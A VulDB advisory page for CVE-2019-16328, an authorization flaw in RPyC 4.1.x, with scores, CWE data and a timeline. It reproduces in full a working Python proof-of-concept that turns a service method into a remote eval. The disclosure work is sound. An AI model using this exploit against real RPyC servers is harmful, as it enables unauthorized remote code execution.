RPyC 4.1.0/4.1.1 Remote Procedure Call Attribute authorization
| CVSS Meta Temp Score | Current Exploit Price (≈) | CTI Interest Score |
|---|---|---|
| 7.4 | $0-$5k | 0.00 |
Summary
A vulnerability labeled as critical has been found in RPyC 4.1.0/4.1.1. This affects an unknown part of the component Remote Procedure Call. Executing a manipulation as part of Attribute can lead to authorization. This vulnerability is handled as CVE-2019-16328. The attack can be executed remotely. Additionally, an exploit exists.
Details
A vulnerability was found in RPyC 4.1.0/4.1.1. It has been declared as critical. This vulnerability affects an unknown part of the component Remote Procedure Call. The manipulation as part of a Attribute leads to a authorization vulnerability. The CWE definition for the vulnerability is CWE-862. The product does not perform an authorization check when an actor attempts to access a resource or perform an action. As an impact it is known to affect confidentiality, integrity, and availability. CVE summarizes:
In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.
The weakness was released 10/03/2019 (Website). The advisory is shared for download at lists.opensuse.org. This vulnerability was named CVE-2019-16328 since 09/15/2019. The exploitation appears to be easy. The attack can be initiated remotely. No form of authentication is required for a successful exploitation. Technical details are unknown but a public exploit is available.
A public exploit has been developed by James Stronz (@comrumino) in Python and been published 2 years after the advisory. It is possible to download the exploit at github.com. It is declared as proof-of-concept. The code used by the exploit is:
import logging
import rpyc
import tempfile
from subprocess import Popen, PIPE
import unittest
PORT = 18861
SERVER_SCRIPT = f"""#!/usr/bin/env python
import rpyc
from rpyc.utils.server import ThreadedServer, ThreadPoolServer
from rpyc import SlaveService
import rpyc
class Foe(object):
foo = "bar"
class Fee(rpyc.Service):
exposed_Fie = Foe
def exposed_nop(self):
return
if __name__ == "__main__":
server = ThreadedServer(Fee, port={PORT}, auto_register=False)
thd = server.start()
"""
def setattr_orig(target, attrname, codeobj):
setattr(target, attrname, codeobj)
def myeval(self=None, cmd="__import__('sys')"):
return eval(cmd)
def get_code(obj_codetype, func, filename=None, name=None):
func_code = func.__code__
arg_names = ['co_argcount', 'co_posonlyargcount', 'co_kwonlyargcount', 'co_nlocals', 'co_stacksize', 'co_flags',
'co_code', 'co_consts', 'co_names', 'co_varnames', 'co_filename', 'co_name', 'co_firstlineno',
'co_lnotab', 'co_freevars', 'co_cellvars']
codetype_args = [getattr(func_code, n) for n in arg_names]
if filename:
codetype_args[arg_names.index('co_filename')] = filename
if name:
codetype_args[arg_names.index('co_name')] = name
mycode = obj_codetype(*codetype_args)
return mycode
def _vercmp_gt(ver1, ver2):
ver1_gt_ver2 = False
for i, v1 in enumerate(ver1):
v2 = ver2[i]
if v1 > v2:
ver1_gt_ver2 = True
break
elif v1 == v2:
continue
else: # v1 < v2
break
return ver1_gt_ver2
@unittest.skipIf(not _vercmp_gt(rpyc.__version__, (3, 4, 4)), "unaffected version")
class Test_InfoDisclosure_Service(unittest.TestCase):
@classmethod
def setUpClass(cls):
cls.logger = logging.getLogger('rpyc')
cls.logger.setLevel(logging.DEBUG) # NOTSET only traverses until another level is found, so DEBUG is preferred
cls.hscript = tempfile.NamedTemporaryFile()
cls.hscript.write(SERVER_SCRIPT.encode())
cls.hscript.flush()
while cls.hscript.file.tell() != len(SERVER_SCRIPT):
pass
cls.server = Popen(["python", cls.hscript.name], stdout=PIPE, stderr=PIPE, text=True)
cls.conn = rpyc.connect("localhost", PORT)
@classmethod
def tearDownClass(cls):
cls.conn.close()
cls.logger.info(cls.server.stdout.read())
cls.logger.info(cls.server.stderr.read())
cls.server.kill()
cls.hscript.close()
def netref_getattr(self, netref, attrname):
# PoC CWE-358: abuse __cmp__ function that was missing a security check
handler = rpyc.core.consts.HANDLE_CMP
return self.conn.sync_request(handler, netref, attrname, '__getattribute__')
def test_1_modify_nop(self):
# create netrefs for builtins and globals that will be used to construct on remote
remote_svc_proto = self.netref_getattr(self.conn.root, '_protocol')
remote_dispatch = self.netref_getattr(remote_svc_proto, '_dispatch_request')
remote_class_globals = self.netref_getattr(remote_dispatch, '__globals__')
remote_modules = self.netref_getattr(remote_class_globals['sys'], 'modules')
_builtins = remote_modules['builtins']
remote_builtins = {k: self.netref_getattr(_builtins, k) for k in dir(_builtins)}
# populate globals for CodeType calls on remote
remote_globals = remote_builtins['dict']()
for name, netref in remote_builtins.items():
remote_globals[name] = netref
for name, netref in self.netref_getattr(remote_modules, 'items')():
remote_globals[name] = netref
# create netrefs for types to create remote function malicously
remote_types = remote_builtins['__import__']("types")
remote_types_CodeType = self.netref_getattr(remote_types, 'CodeType')
remote_types_FunctionType = self.netref_getattr(remote_types, 'FunctionType')
# remote eval function constructed
remote_eval_codeobj = get_code(remote_types_CodeType, myeval, filename='test_code.py', name='__code__')
remote_eval = remote_types_FunctionType(remote_eval_codeobj, remote_globals)
# PoC CWE-913: modify the exposed_nop of service
# by binding various netrefs in this execution frame, they are cached in
# the remote address space. setattr and eval functions are cached for the life
# of the netrefs in the frame. A consequence of Netref classes inheriting
# BaseNetref, each object is cached under_local_objects. So, we are able
# to construct arbitrary code using types and builtins.
# use the builtin netrefs to modify the service to use the constructed eval func
remote_setattr = remote_builtins['setattr']
remote_type = remote_builtins['type']
remote_setattr(remote_type(self.conn.root), 'exposed_nop', remote_eval)
# show that nop was replaced by eval to complete the PoC
remote_sys = self.conn.root.nop('__import__("sys")')
remote_stack = self.conn.root.nop('"".join(__import__("traceback").format_stack())')
self.assertEqual(type(remote_sys).__name__, 'builtins.module')
self.assertIsInstance(remote_sys, rpyc.core.netref.BaseNetref)
self.assertIn('rpyc/utils/server.py', remote_stack)
def test_2_new_conn_impacted(self):
# demostrate impact and scope of vuln for new connections
self.conn.close()
self.conn = rpyc.connect("localhost", PORT)
# show new conn can still use nop as eval
remote_sys = self.conn.root.nop('__import__("sys")')
remote_stack = self.conn.root.nop('"".join(__import__("traceback").format_stack())')
self.assertEqual(type(remote_sys).__name__, 'builtins.module')
self.assertIsInstance(remote_sys, rpyc.core.netref.BaseNetref)
self.assertIn('rpyc/utils/server.py', remote_stack)
if __name__ == "__main__":
unittest.main()There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.
VulDB is the best source for vulnerability data and more expert information about this specific topic.
Product
Name
Version
CPE 2.3
CPE 2.2
CVSSv4
VulDB Vector: 🔍VulDB Reliability: 🔍
CVSSv3
VulDB Meta Base Score: 7.4VulDB Meta Temp Score: 7.4
VulDB Base Score: 7.3
VulDB Temp Score: 7.3
VulDB Vector: 🔍
VulDB Reliability: 🔍
NVD Base Score: 7.5
NVD Vector: 🔍
CVSSv2
| AV | AC | Au | C | I | A |
|---|---|---|---|---|---|
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| Vector | Complexity | Authentication | Confidentiality | Integrity | Availability |
|---|---|---|---|---|---|
| Unlock | Unlock | Unlock | Unlock | Unlock | Unlock |
| Unlock | Unlock | Unlock | Unlock | Unlock | Unlock |
| Unlock | Unlock | Unlock | Unlock | Unlock | Unlock |
VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍
NVD Base Score: 🔍
Exploiting
Class: AuthorizationCWE: CWE-862 / CWE-863 / CWE-285
CAPEC: 🔍
ATT&CK: 🔍
Physical: No
Local: No
Remote: Yes
Availability: 🔍
Access: Public
Status: Proof-of-Concept
Author: James Stronz (@comrumino)
Programming Language: 🔍
Download: 🔍
EPSS Score: 🔍
EPSS Percentile: 🔍
Price Prediction: 🔍
Current Price Estimation: 🔍
| 0-Day | Unlock | Unlock | Unlock | Unlock |
|---|---|---|---|---|
| Today | Unlock | Unlock | Unlock | Unlock |
Threat Intelligence
Interest: 🔍Active Actors: 🔍
Active APT Groups: 🔍
Countermeasures
Recommended: no mitigation knownStatus: 🔍
0-Day Time: 🔍
Exploit Delay Time: 🔍
Timeline
09/15/2019 🔍10/03/2019 🔍
10/04/2019 🔍
02/16/2021 🔍
02/12/2023 🔍
Sources
Advisory: lists.opensuse.orgStatus: Not defined
CVE: CVE-2019-16328 (🔍)
GCVE (CVE): GCVE-0-2019-16328
GCVE (VulDB): GCVE-100-142936
scip Labs: https://www.scip.ch/en/?labs.20161013
Entry
Created: 10/04/2019 09:15Updated: 02/12/2023 08:25
Changes: 10/04/2019 09:15 (53), 09/21/2020 11:01 (1), 02/12/2023 08:25 (10)
Complete: 🔍
Committer: ajmeese7
Cache ID: 216::103
VulDB is the best source for vulnerability data and more expert information about this specific topic.
No comments yet. Languages: en.
Please log in to comment.